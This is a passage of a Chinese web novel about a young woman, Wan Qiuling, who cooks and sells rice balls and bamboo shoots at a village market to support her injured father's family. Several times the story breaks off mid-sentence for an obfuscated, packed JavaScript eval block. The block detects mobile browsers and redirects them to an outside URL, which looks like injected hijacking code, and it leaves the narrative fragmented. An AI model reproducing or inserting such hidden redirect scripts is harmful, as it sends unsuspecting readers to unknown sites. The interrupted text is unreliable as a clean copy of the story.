焖煮了会，万秋灵掀开盖子，汤底已经变成浓稠的白色，她加了一些粗盐，将野葱切碎后撒进去，大功告成。 把汤端上桌，一家人围坐着吃饭。万老爹也被搀扶了出来，他捧着碗，先喝了口热汤。 鲜美，醇香，吃不出鱼的腥味，调味简单，但胜在一个鲜。就着鱼肉和红苕，万老爹大口大口喝完，舒服地叹了口气，额头上都冒了些汗。 他生病以后，行动不便，又要喝中药，本来没什么胃口，一碗鱼汤下肚，身子都暖和了。 杜氏喝着汤，不住点头：“灵儿，你这做鱼汤的法子倒是不错，先用油煎，再加水炖，这汤味道浓，煮出来的鸡蛋也香。” “嗯。”万秋灵在想，早上应该买块豆腐带回来，切块一起煮，做鲫鱼豆腐汤。 万老爹听了鱼汤的做法，若有所思：“咱们老万家传下来的菜谱里，有道肉汤的做法倒是差不多，肉先过油，再加热汤煨煮。这孩子倒是悟性高，知道琢磨，学着这方法做鱼，倒也合宜，咱祖传的手艺没有丢！” 万小兰正吃得欢，听到这，偷偷瞄了阿姐一眼……家里的菜她从小吃着长大，原来还有这么多家传手艺她不知道呢。 万秋灵：“……” 她还什么都没说，万老爹已经自行脑补了一篇传承的故事，满脸写着吾家有女初长成、老万家后继有人的欣慰。 “爹这么说，好像还真是，我觉得这么弄应该不错，就用鱼试试了。”您说的都对，就是祖传的东西，融会贯通了。 饭后收拾完，万秋灵拿出装铜钱的袋子，跟家人盘账。 “今日一共收到十五文，除去饴糖一文，鸡仔六文，还剩八文钱。”桌子上摆放着八枚铜钱。 杜氏让她自己留着，万秋灵点点头，并不推辞：“我想的也是先留着，卖野菜团子和笋子是图个新鲜，用料简单，不值钱，多卖几回别人也能学。想多挣点，有个稳定进项，得琢磨卖别的，需要投入本钱。” 先不说辣椒和各种香料等贵价调味品，最基本的酱油、醋、姜蒜，都需要及时补充，才能做出像样的味道，原料也得更新进货。 万老爹跟着表态：“这钱你收着，想怎么用都看你自个儿。” “爹，再过一段时间，我手头就会宽裕起来。您安心养伤，汤药钱会赚回来的，到时候多买点骨头和肉，大家都补一补。”万秋灵给他也画个饼。 “好，好，爹信你。”这话万老爹听得舒坦，闺女孝顺懂事，还有志气，夫妇两人心里都暖烘烘的，相视一笑。 万秋灵观察过，万老爹这两天精神头好了点，但是一条腿还是不方便动，应该是摔倒时伤了骨头。伤筋动骨一百天，就算能下地活动了，暂时也没法去地里种庄稼。 母亲杜氏独自操持着地里，还要照顾病人，料理家务……这样累下去不是办法。 她心里想着，还是得快快挣钱，到时候请人帮忙，先把地里的活计甩出去。 三人各有心思，只有万小兰听见骨头和肉，不争气地咽了咽口水，刚吃完鱼喝完汤，嘴又馋了！ “小兰，下午陪我去河边走走。” 尝过了美味河鱼，万秋灵感觉精力恢复不少。 大洼村依山傍水，是既能吃山也能吃水的地方，天然物资还算丰富，春季万物复苏，得去看看能否挖掘点新鲜河货。 “好啊，去河边趟水玩！”万小兰自然乐意。 万秋灵抬手给她一个脑瓜蹦：“是去找找能吃的、能用的，记得问问墩子，看他今天还去不。” “哎哟，”万小兰捂住额头，扁了扁嘴，“我马上就去，阿姐。” 墩子正在院子里劈篾条，听到喊他去河边，马上应声：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251290|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行！我知道哪里好抓鱼。”虽然上午刚去，不过抓鱼不嫌多。 河流离两家不算远，没几步路就到了。 下游有几块大的平整石头，是村民搓洗衣服的地方，隐约能听见捶打衣物和说话的声音。他们沿着河边往上游走，寻了一处水流平缓的地点。 乍暖还寒，河水十分清澈，万秋灵伸手摸了摸，凉意席卷皮肤，有些冰，她勒令万小兰不许下水，免得着凉。 墩子年轻气盛，卷巴几下裤腿就踏进河里，冷得哆嗦了一下，不过很快适应了。 “这儿的水不深，秋灵姐，我先去寻鱼。” 万秋灵点点头，拿了竹篮往岸边水草密集的地方走，万小兰屁颠颠跟在身后。 轻轻拨开水草，惊扰了底下的小虾米，个头只有指节那么大，在水里看虾身近乎透明，它们很快又躲藏起来，只在水面掀起一点点波澜。 “有小虾！”万小兰兴奋地伸手，试图抓住一只，但河虾很灵巧，连触须都摸不着。 万秋灵将篮子倾斜着，缓慢沉进水里，挪到河虾较多的水草下，猛地提起篮子，定睛一看，虾只有六七只，还蹦出去一个，水草倒是捞到不少。 她将这些虾挑出来，放进另一个竹筐里，用叶子盖好，继续重复方才的动作，不断换着地方尝试。 多的时候一篮子下去能有十几只，少的时候三四只，忙碌半天，竹筐也就铺了个底。 万小兰跟着捞了会儿虾，注意力却被飞过的蜻蜓吸引了，追着蜻蜓跑出去老远。等她玩得没趣儿了回来时，墩子又摸到几条巴掌大的鱼儿，用草茎串着，万秋灵筐子里也有一小半乱蹦乱跳的虾米。 她两手空空，有些不好意思，抢过万秋灵手里湿漉漉的篮子：“阿姐，我帮你拿。” 回去的路上，太阳已经倒向西边，夕阳开始攀升，逐渐染红了天空，将三人的影子拉得很长。 万秋灵想起墩子是在镇上卖竹编的，对镇子有所了解，于是问道：“墩子，你常去镇里，镇子上卖哪些吃食的多？” “啥吃的都有，街边好多铺子和摊子，好多吃的叫不上名字哩！不过我逛得少，卖完货就赶回家了，没舍得买。”墩子想了想，“我见过卖肉包子的，每个都包得圆鼓鼓；有炸得金黄的甜糕，围着好多人；有卖面条馄饨的，能在边上坐下来吃；还有挑着担子卖吹糖人的……” “吹糖人，我知道！能捏出小鸡小鸭的样式，可好看了。”万小兰暗示意味十足地望着阿姐，眨巴眨巴眼睛。 “活干得好就有。”万秋灵日常给孩子打鸡血，何尝不是一种鸡娃呢。 “那吹糖人可贵，最简单、吹起来也才鸡蛋大的都要两文钱，够买大白馒头吃了！”墩子是务实型，馒头能填饱肚子，那糖人也就捏得好看，嚼起来不够塞牙的，还不便宜，哪里值当。 听了他的描述，万秋灵对镇上有了模糊的印象，镇里的消费水平肯定比乡村集市高些，机会多，但竞争也会变得更加激烈。 “等攒点钱，我也想去镇上看看。”她得亲自去镇上考察体会一番，做做市场调研。 5. 自制味精 听她说想去镇上，墩子热心道：“秋灵姐，我对镇子比较熟，你去的时候喊一声，我能带带路哩。” 万秋灵这才想起，还没跟墩子提过赶集卖东西的事。 “对了墩子，今日我跟小兰在村集市摆了摊，卖自己做的吃食，眼下只做了野菜团子和炒笋片这两样，回头给你尝尝。” 万小兰立刻在一旁帮腔：“墩子哥，我阿姐手艺可好了，你吃过就晓得嘞。” 墩子听了，又是好奇又很惊讶：“秋灵姐，你在做吃食买卖？真厉害。”他挠挠头，“尝就不用了，你们要卖钱的。” “不是什么值钱东西，乡里邻居都有，你吃着试试，看合不合口味，我也好改进。”万秋灵笑了笑，语气自然，“你不也送我们鱼吃么，这不正好有来有往。况且，我本就打算要找你帮忙的。” 一听到“帮忙”两个字，墩子立马道：“要帮什么忙，你尽管说。” “也不是什么难事，就是想着，卖笋片这样的吃食，配个签子更好用，还省事。”她一边走一边描述，“不用多长，有半拃就差不多了，也不复杂，把竹子削得细一点，表面剔光滑，其中一头削尖点，方便戳取食物就成了。” “我看你手巧，竹编做得漂亮，就想请你帮忙做些这样的竹签子，会不会太麻烦你。” 万秋灵一顿夸夸输出，做小吃，怎么少得了签子，万老爹做的竹筷子能用，但肯定不如签子好使，耗材也低。 墩子听完，拍了拍胸脯：“包在我身上，我家里就有现成的竹条，削签子根本不费事，快得很，明天就能弄一把来！” “不着急，别耽误你其他事了。” “哪能？这就顺手的事！”他虽然个头壮实，力气大，像是做粗活的好手，却是个手脚勤快又利索的，才跟着爷爷学了竹编。 万秋灵心里踏实不少，有了竹签子，可以做些小份的试吃品，一戳一小块，不脏手，能靠味道吸引一波客人。 餐具升级，又发展了新的小帮手，感觉小吃摊子愈发的规范了。 墩子又分给她们一条鱼，回到家，万秋灵去找了个水缸，鱼先放缸里养着。 趁着天色还亮堂，她到水井边处理小河虾。 打了水仔细淘洗几遍，把水草杂质筛干净，小虾米活跃得很，四处乱窜，万秋灵不得已换了个更深的筐，洗好的开一条缝隙扔进去，万小兰立马罩上盖。 “阿姐，这虾太小了，能尝到肉味嘛。”她虽然信赖姐姐的厨艺，但是这虾着实小得可怜，“看着还没蚱蜢肥呢。” “那你去抓蚱蜢。”万秋灵手里动作不停，“抓住了让娘做给你吃。” 蚱蜢可比虾米难抓，有丁点风吹草动就蹦走了，快得只能看到影子，万小兰想抓也抓不到，她抓蜻蜓都费劲。 “哎呀……我就随口说说嘛。” 见万秋灵理得差不多了，万小兰主动道：“阿姐，我先去生火。”她烧柴火越来越熟练了，都不用催。 “小火就行。” 万秋灵晃了晃竹筐，把剩余的水分洒出去，抱着筐去了灶屋。 她将河虾倒进干净的铁锅里，没有放油，拿锅盖挡着不让虾跳出来，开始小火慢慢翻炒，火太大就糊了。 等水汽散去，虾米开始变得微红，用锅铲反复翻面烘干，直到虾身变得干瘪又松脆，散发出不同于鲜虾的焦香，虾子算是炒好了。 万秋灵搬出捣药的石臼，清洗后擦干净，再把河虾分批次倒进去，捣碎研磨，变成粉末状。 万小兰吸了吸鼻子，黄褐色的粉末，夹着些细碎的颗粒，还带着温度，香得不可思议：“阿姐，这能直接吃吗？” “这是增鲜用的虾粉。”她把万小兰的脑袋隔开，将捣好的粉末小心地倒进碗里。 这算是简易版的自制天然“味精”，虽然简易，但也是不错的调味品。等以后有条件了，还能做个升级版本。 杜氏回来时，晚饭快好了。万秋灵在小锅里焖了糙米，菜圃里摘了一把青菜炒了，泡好的笋片混着野葱炒了半锅，两样菜都加上了一小撮虾粉。 万秋灵先盛出一碗笋片，递给妹妹：“送到墩子家去，下午说好的，记得谢谢人家帮忙。” “好嘞。”万小兰接过碗，闻着味馋得不行，和之前的笋片有点不一样了！她忍着偷尝一口的冲动，赶紧往隔壁跑。 开门的是墩子娘。 “王婶子，家里炒了些笋片，阿姐让我端过来，给婶子尝尝。” “这怎么好意思，晚上饭菜够吃了……”墩子娘不接。 “婶子，您就收下吧。墩子哥给我家送了鱼，还答应帮阿姐忙，也没啥东西能谢他的，就当添个菜凑凑桌。”万小兰小嘴叭叭的，“这笋子放凉了就没那么好吃了，婶子快拿个碗来，正热热乎乎的。” 墩子娘被催着回屋里拿了碗，刚把菜腾过来，还要客套两句，万小兰已经急匆匆地往家里窜了，“婶子，我先走啦！” “欸……” 万小兰一口气跑回家，气喘吁吁地直冲屋里，险些和端着饭出来的杜氏撞上。 杜氏赶紧把碗举高，蹙眉教训她：“你这孩子，怎么毛手毛脚的，险些给我弄泼了！去端饭出来。” 万小兰“哦”了声，老老实实帮忙，去灶屋端另外两碗饭。 她舍不得装过笋片的碗里面的汤汁，于是把其中一碗饭扣进菜碗给自己，这才回堂屋吃饭。 …… 却说王家这一头。 墩子娘端着那碗笋片回了屋子，王家饭桌上围了一圈人，颇为热闹。 他们夫妻育有三儿一女。大儿子名叫王大牛，人如其名，力大如牛，是庄稼地里最能干的汉子，此刻正小心翼翼扶着怀了孕的媳妇坐下。 大牛媳妇的肚子已经隆起很高，正是全家的重点关照对象。 二儿子墩子挨着爹娘坐着，下面还有一个十岁出头的弟弟栓子，和小栓子一岁的小妹翠花，两个最小的孩子正在为谁多夹了一筷子咸菜拌嘴，吵来吵去。 墩子爹见她端了一碗东西回来，随口问道：“啥东西拿碗装着？” “隔壁小兰送来的，说是谢谢墩子帮忙，让他尝个味儿。”墩子娘把碗搁到桌上，那是一碗白绿相间，冒着热气的炒竹笋。 大牛媳妇听了，轻声道：“这，这怎好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251291|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白吃人家的东西……”这笋子泛着油光，润润的，是用了猪油炒的。 墩子眼睛早就黏在那碗里了，闻着香味儿更是挪不开眼，忙道：“嫂子，这是秋灵姐跟我说好了的，她让我帮忙做竹签子，还有谢我送的鱼。”他语气里带了点自豪。 墩子爹点点头，邻里之间互相帮忙是应该的，拿起了筷子：“墩子，答应人家的事要好好做。” 他没怎么把这炒笋当回事，村里人谁家没吃过笋子？等他夹了块送进嘴里，咀嚼的动作却慢了下来。 其他人见当家的动了筷子，这才开始吃新的菜。笋片一入口，几人都有些惊讶。 “这笋子做的，倒有点功夫，杜婶子手艺不错。”比咱家做的好吃多了。 墩子娘也很诧异，想起万小兰的话，有些迟疑：“听小兰的意思……好像是她阿姐做的？” “秋灵？不可能吧，那孩子才多大岁数，也就比墩子大点。”墩子爹不信。 “就是秋灵姐做的！”墩子正大口吃着饭，抽空解释，“秋灵姐说她们在集市卖这个，还有饭团子啥的。这味道，难怪能卖钱……”他没好意思说完，比他娘平日炒的菜香多了。 桌上还有一盘子他娘拿手的香椿芽拌豆腐，和一碟咸菜，这会儿都少人问津。 听他这么肯定，墩子娘先是吃惊，心里也纳闷，秋灵这丫头也不知是怎么做的，同样的笋子搁她手里就炒不出来，咋做家里人都不爱吃。 大牛好奇：“以前没听说万家闺女有这做菜的手艺啊？” 大牛媳妇接口，声音温温柔柔的：“以前万家有万叔杜婶顶着，哪里需要孩子张罗这些？如今家里艰难，没本事也逼出本事了。”她说着，忍不住又夹了一筷子笋片，就着饭吃了。 万老爹倒是依稀想起一桩旧事：“早先万飞兄弟跟我闲扯时提过一嘴，他是个会做菜的，只是后来搬到咱村里，种地忙，灶上的事就交给家里婆娘了，没想到这手艺倒是传给女儿了？” 爹娘和哥嫂们说着话，两个最小的孩子可不管这些，只知道有好吃的，你争我抢的，转眼碗里就耗去大半。 墩子娘看大牛媳妇多夹了几次笋片，难得比平时多吃了些饭。大牛媳妇怀的头胎，最开始害喜严重，人遭罪，瘦了一圈，身体上是需要多养着些的，家里有点好的都紧着她。 墩子娘把碗里还剩下的笋片，大半拨到了她碗里，“他大嫂，你多吃些，你现在是一个人要吃两个人的口粮。” 大牛媳妇脸上微红，到底没拒绝，低声谢过婆母。这笋子确实滋味好，吃到嘴里清爽不油腻，有一股特别的咸香，让她很有食欲。 大牛见媳妇爱吃，笑道：“媳妇喜欢？隔壁既然是做这个卖，想吃的时候，跟隔壁商量问问，买点给你吃。” 栓子和翠花第一个赞成：“买，好吃！” 墩子娘抿着嘴，没吭声。 这笋片吃着是还行，可说到底也就是山里的笋子炒一炒，能金贵到哪儿去？人家送的，吃着自然倍儿香，可要说花钱去买……她又舍不得了。 她心里琢磨，或许可以问问杜妹子，这笋子怎么做的，自己学个几成？ 6. 备货双倍 万秋灵还不知道，才开张第一天，就有人想打听做法了。 这笋子的处理说简单也简单，就费些时间。先沸水煮，焯水后用冷水浸泡，每隔一个时辰就换水一次，把苦味泡出来。但村里人做笋都是直接切了下锅炒，或者用水煮，调味也简单，完全保留了笋子的涩感。 她自然是不会对外说的，等别人学会了传播开，来找她买炒笋片的就少了，现在她还依赖这个挣钱呢。 不止她，万家上下，尤其是万老爹和杜氏，心里都跟明镜似的。 万秋灵之前就好奇，既然万老爹有厨艺傍身，也开过馆子，为什么一家子还要搬到偏僻的村子里。 她从万小兰那儿套过话，零零碎碎拼凑出了缘由。 原来万老爹开饭馆的时候，有道招牌的打卤面，是延用家里的方子做的，味道扎实，生意还不错。可是坏就坏在，那最要紧的菜谱方子，被一个看似老实的学徒剽窃了，转头献给当地的一家大饭馆。 对方不仅也推出了这道招牌，还倒打一耙，弄得万家生意惨淡，馆子开不下去，可以说是狼狈而逃。 其中的各种曲折万小兰并不清楚，大人也不会特意跟小孩说。按照万秋灵的理解，万家遇到了充满恶意的商战，麻烦事不断，而且口碑被坏，短时间很难翻身。 万老爹道心破碎，干脆改行种地。 面朝黄土背朝天虽然辛苦，至少种下什么得到什么，收成只需要看老天爷脸色，没那些勾心斗角，日子倒也过得安稳。 结果前不久下场雨，万老爹倒霉摔了一跤，把腿摔伤了，耗费不少积蓄。家里情况又急转直下，短短几年可谓是大起大落了。 有过前车之鉴，如今万秋灵要重新做吃食生意，甭管生意大不大，一家人在保密这方面定然也是注意的，都用不着她特意强调。 而万秋灵也没有写下方子的打算，这些东西都是记在脑子里，灵活变动的，暂时还没有“家传”那么远大的志向。 所谓的食谱，怎么处理食材，煎炒烹炸，调料如何配制，各种组合千变万化，并不是死板的。再加上来自现代的新奇想法，光是创新就足以让她不依赖于某一样“招牌”。 论做饭，她最大的欠缺还是刀功和臂力，不过等有了钱，直接雇人帮忙就成。 …… 起床的第一件事，万秋灵去柴房看望四只小鸡仔。 杜氏很细心，用一个垫高了的旧箩筐做窝，里面铺着厚厚一层干稻草，筐子外面围了一圈旧布，柴房那扇漏风的破窗也堵得严严实实。 小鸡们在暖和的干草堆里挤成一团，绒毛蓬松，看着都很精神。杜氏已经喂过食水，鸡窝里小破碗还剩了些泡软的小米碎和谷子。 备货时间，万秋灵带着妹妹又进了两趟山，补充原材料，顺便也采了些其他的山野货。 她们也去河边试着捞了几回虾米。万小兰尤其卖力，阿姐煮汤时也加了这个虾米，特别诱人。 照例是把大部分虾米烘干后捣碎，收获不算多，反反复复捞几次，也攒了一小罐虾粉。 还砍了些新鲜的芭蕉叶，洗掉灰尘，散发着植物的清新气息，裁剪成合适的形状。 墩子答应后第二天就送了一大把竹签过来，效率十分的高，摆摊也能用上了，可谓一切就绪。 这一次万秋灵打算备双倍的货，赶集那天几人起得更早了些，在灶屋忙碌开来。这回的野菜糙米和笋片中都加了适当的虾粉，提鲜增香。 饭团子三个人一块包，至少有六十多个，渐渐堆成了一座小山，万秋灵还特意搓了些小小的饭团丸子，单独用碗装着。炒好的笋片也装满了瓦罐，仔细拿布包裹好。 等把货装进背篓，两个背篓都沉沉的。杜氏掂了掂两个背篓的分量，眉头蹙了起来：“这太沉了，路又不近，你们俩怎么背得动？我送你们过去。” 万秋灵早有准备，她用几块旧布撕成的长条，仔细缠在了背篓的背带上方，这样垫着能软和些，不勒肩膀。 “娘，你地里还有活……” “哪里差这一时半刻的，把你们送过去，我心里踏实。”杜氏态度坚决。 万秋灵拗不过，只好拿了个新的背篓，把重量重新分摊了一下。妹妹的最轻，她和杜氏的重些，匀下来确实轻快不少。 三人互相帮着整理了一下，往集市走去。 天色一点点亮起来，这回准备的东西多，耗费时间，到集市晚了些。 岔口已经喧闹起来，好的摊位早已被占满，他们只能往集市尾巴上寻地方。 说是摊位，其实就是泥巴路旁边的空地，哪里有位置就摆哪里。 越是靠近岔路口中心，人流越大，东西自然更好卖。上次旁边那位卖竹编的老伯，今天就占据了更靠里的位置。 她们在边缘处找到一小块空档。今天旁边是个卖鸡蛋的年轻后生，见三个女子带着东西过来，脸皮薄，不好意思挨得太近，主动往卖镢头柴刀的老大爷那边挪了挪，给她们腾出稍宽些的地方。 杜氏帮女儿们铺展芭蕉叶，摆好摊子，安顿好了才背着空背篓离开。 走出十几步路，心里终究放不下，忍不住又回头望。 这一望，她的心差点跳出嗓子眼！有三个穿着粗布短打的彪形大汉，直冲冲往女儿的摊子上去！ 杜氏心里一紧，抬脚就要往回赶。又看那领头的汉子到了摊前，伸手指了指饭团子，笑着在跟万秋灵说话，万秋灵神色也不见慌张，两人正交谈着。 看样子应该是认识的，杜氏这才松了口气。 她不敢再多耽搁，最后看了一眼就接着往家赶了。 摊子这边，万秋灵已经认出了来人，正是上次第一个尝野菜团子，还给了好评的那位汉子。见他这次还带了两个同样身形精壮的人来，看来刚开张就有大单子了。 “妹子，可算等着你了！我还以为你今天不来了。”领头的汉子嗓门洪亮，和万小兰有的一拼，笑容爽朗。 “哪能不来，路上耽搁会儿，让大哥久等了。”万秋灵笑着接上话，“还不知道大哥怎么称呼？” “叫我石头就成了，都是干力气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251292|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活的，没那些个讲究。”石头指了指身后的同伴，“这是我俩兄弟，都是一块儿的。给我们来三文钱的野菜团子，再来一文钱的笋片！” “好嘞！”万秋灵应下，让万小兰收钱，自己先数了九个饭团子。她特意多拿了一个，单独递给石头：“石头哥，这个请你吃。多谢你帮忙宣传，还带了朋友来。” 石头笑容更大了，接过那个额外的饭团子：“妹子真会做生意，行，我就不客气收下了。” 他压低了声音：“妹子，跟你提个醒，那边，”他朝集市另一个方向努了努嘴，“有个以前只卖糙米高粱的，今儿也开始卖野菜团子了，我瞅着是学着你的团子做的。不知道味道如何，我没敢买，你要是不来，我们哥几个还是啃窝头得了。” 万秋灵点点头，跟风卖的比她预想的要快，说不定卖笋子熟食的也快出现了。 她将笋片打包好递过去，闲聊了几句：“多谢石头哥提醒。我看你们几位都带着扁担，这是要去哪挑东西吗？” “对！”石头小心接过，让同伴拿着，“我们都是洞子村的，干的就是挑担子的活计，主要在镇子上给人运货。这不，吃完就得赶路去镇上。” 镇上的东西贵，他们舍不得买了吃，也就村集市开的时候，买点现成的，吃饱了才有力气干活。 万秋灵恍然，听起来就和现代渝城的棒棒军差不多，主要是灵活，走街串巷搬运东西方便，靠力气和脚程吃饭。 这类客人对食物的要求不高，顶饱，价格实惠，最好还有味。他们舍得花钱买主食饭团子或者窝窝头，偶尔才会凑钱买一份像笋片这样的“菜”分着吃，当佐料。 而集市上，除了石头他们这样的劳力，也有小部分手头宽松些的村民，若是懒得去镇上，就在村集市随便逛逛，买一买。有的在摊位前驻足，询问笋片的价格，有的会买上一份，说是带回家下饭吃，显然更注重的是口味了。 这一次，万秋灵做了试吃装，一碗装着野菜糙米小丸子，还有一小碗炒笋片。 若是有顾客驻足观望，面露犹豫，万秋灵就递上竹签子，“可以先尝尝味道，觉得好您再买。” 这招效果还不错。有些上次没赶上的或舍不得买的，还有凑热闹的，戳了一小块丸子或者笋片尝了，大都挺满意的。 “这味儿确实可以！” “比我上回买的还要好些。” 尝过之后，不少人痛痛快快地掏钱买了。 旁边卖鸡蛋的小伙子看得暗暗惊奇，他眼见着这姊妹二人，不到两个时辰，带来的东西断断续续快卖完了。而且她这个摊子拉拢了人气，有些买了吃食的客人，顺带也会在他这买上几个鸡蛋，竟让他比往日卖得更快些。 小伙子不由得多看了万秋灵几眼。原本心想这姑娘年纪不大，模样又好，家里人怎么放心让她摆摊，谁承想是个真会做生意的。 还有旁边的小妹，那嗓门可不是盖的，半个集市都能听见声儿，他右边耳朵这会都发着麻。 不过看着没剩多少的鸡蛋，他心里还是很舒坦的。 7. 模仿者 货物将罄，这次赚得多些，装钱的袋子总算有了点分量。 万秋灵带着妹妹在逐渐冷清的集市上逛了会。不少摊主准备收摊了，有些赶着回家吃午饭，还有些因为蔬菜瓜果经过一上午太阳晒着，开始发蔫儿，正在便宜处理。 万秋灵惦记着鲫鱼豆腐汤，在集市里找到一个卖豆腐的摊子。 豆腐看上去颇为水嫩，价格也实惠。万秋灵多买了一块，想着如今温度还不算热，放一天也不会酸，明天可以做鸡蛋烧豆腐。 卖饴糖的小摊也还在，万小兰这次倒是没缠着要，乖乖跟着姐姐走了。她心里现在正念着阿姐说的鲫鱼豆腐汤和鸡蛋烧豆腐，也就没那么想吃糖。 她随处看了看，忽地扯了扯万秋灵的袖子，小声说：“阿姐，就是那个人吗？学咱们卖野菜团子的。” 万秋灵也看到了，应该就是石头提到的摊子。 摊子后的妇人大约有四十来岁，穿着洗得发白的灰布衣服，面前码着两只鼓囊囊的袋子，敞着口，里面是高粱和糙米。旁边有个篮子，里面的野菜团子也是用叶子包着的。 那妇人早瞧见了她们，叫卖声弱了点，不过也没停。 都是卖东西挣点糊口钱，万秋灵倒没觉得这东西别人不能做，只要不是恶性竞争，都挺正常。 她只淡淡扫了一眼，并不多言。 万小兰则是仔细瞧了瞧。那妇人并不眼熟，不是她们村的，应该是附近其他村子的人。 见对方还剩不少没卖掉，而自家已经卖完收摊了，小姑娘心里免不了有些得意，于是挺了挺胸脯，昂着头从那位摊前走了过去。 有个小摊上摆的黑褐色的东西吸引了万秋灵的目光，是荸荠，冬季的时令货，这个时间不多见。 摊主见她感兴趣，连忙招呼道：“姑娘，这是今天刚从水塘挖出来的地栗，生吃脆得很，煮熟也甜，过了这阵子可就没了！” 万秋灵拿起一个看了看，的确是新鲜的。这东西既能当水果吃，也能入菜做汤，问了价格还挺划算，便称了一斤。 接着，她拉着万小兰到了集市上的肉摊。案板上还剩一些边角碎肉和板油，大块的肉已经售罄，屠户正在收拾家伙。 “大叔，猪骨头怎么卖？” 屠户抬头，瞥了她们一眼：“骨头便宜，四文钱一副，不过那玩意儿早没了，你想买，下回赶早来。”他指了指案板，“板油还有，六文一斤，要不要？” 虽是剩下的，板油的质地还不错，厚实一大块，白花花的。想到家里见底的油罐子，是该备点，万秋灵和屠户讲价：“叔，您这快收摊了吧，能不能便宜点？我要两斤。” 万小兰也凑上来：“大叔，爹爹从前就常在您这买，说您爽快实在，以后我们也多来，您便宜点嘛！” 至于万老爹到底是在哪个摊子买的肉，那就不知道了，一年到头都买不上几回呢，但她这话说得眼都不眨。 屠户“嘿”了一声，到底松了口。 “得，不过六文就六文，不降价，给你们添上些碎边，回去一块熬。”他动作利落地切好一块板油，量足了两斤，又抓了几块碎的扔上秤，“二斤二两多了，怎么样？” “谢谢叔！”两人自然是答应。 万秋灵数好了十二个铜板给他，把板油包好，放进背篓里。 走到村里，已经是晌午时分，劳作的人不少都回家吃午饭。老槐树下闲聊的妇女就零星几个，倒是没有遇到周大嘴，省得又要掰扯几句。 姐妹俩步伐轻快地回了家。 杜氏已经做完饭等着了。吃饭时，万小兰绘声绘色地描述着今天摆摊的情况。 “我跟阿姐正在摆放东西呢，上次来买过饭团的一个大哥，他叫石头，石头哥就带着他的两个兄弟，赶过来了。他们一开口就要三文钱的野菜团子，还要了一碟子笋片，刚开摊就卖出去老多东西。” 杜氏听到她这样说，脸上露出了欣慰的笑容：“早上我回头就瞧见，几个壮汉子直冲你们去，哎哟！真是被吓一大跳。又瞧他们是好好在讲话，没找麻烦，想着应该是客人。” “没事的娘。阿姐说，石头哥是回头客，还给他送了个团子呢。” 万小兰又接着说起来，集市上出现了别家卖野菜团子的，小嘴一撇：“我瞧那样式就学的我们，不过没有我们卖得快。” 这话却让万老爹和杜氏的神色严肃起来。 杜氏放下筷子，忧心忡忡道：“上回灵儿说这东西简单，别人也能模仿，可这才卖两次啊！要是学的人多，都来分一杯羹，怕是不好卖。” 万老爹闷头喝了一口粥，想起家里曾经的经历，神色有些晦暗。 万秋灵语气平和，安慰道：“娘，别太担心。你看集市上卖馒头的、卖饼子的也不止一家，大家各做各的生意，客人愿意买哪家的吃，是他们的选择。我们只要把味道保持住就行，还能随时换新花样。” 现下是材料欠缺，屋里就数糙米最多，考虑到成本，没做多复杂，学学样子容易，不过饭团子她本也没打算卖太久。 想到这，万秋灵顺势道：“我琢磨着，是时候抽空去趟镇上了，买些村里集市没有的东西回来。不管是咱家做饭吃还是卖，口味都能提升不少。顺便也看看镇上的吃食情况。” “去镇上？”万小兰立刻兴奋起来，饭也顾不上吃了，“阿姐，带我一起去，我还没去过镇上呢！” “镇上远着呢，按你的脚程，走去得半个多时辰，回来又得半个多时辰，光是走路就够你受的。”杜氏给她泼了盆冷水。 万小兰不服气：“不就是半个多时辰吗？娘，你未免太小瞧我了，岔路口我也是来回走的，可从没喊过累。” 镇子也就……两个岔路口那么远罢了！ 万老爹沉吟道：“村西头的王大爷有辆驴车，倒是常用。可惜咱虽然跟王老大一家处的可以，跟王家老三没啥交情，不好开这个口。” 王大爷就是墩子的爷爷，墩子爹排行老大，王家老大和老三两家是分了家的。王大爷跟着幺儿老三住，和墩子家隔了半个村，来往不算太密切，万家和他们更是没有交集。 杜氏皱着眉思索，镇上远，她陪着孩子们去最合适，地里的活也弄完许多了，可以抽出空。但是难得这几天天气好，没下雨，本是想一口气忙活完的。 万秋灵看出了杜氏的纠结，开口道：“娘，我和墩子打过招呼的，他经常去镇上，路熟。回头我问问他，看他下次什么时候去，我们结个伴互相照应，您安心忙。” 墩子这孩子确实踏实，身板也强壮，啥事都能帮忙应对，有他同行，杜氏放心不少。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 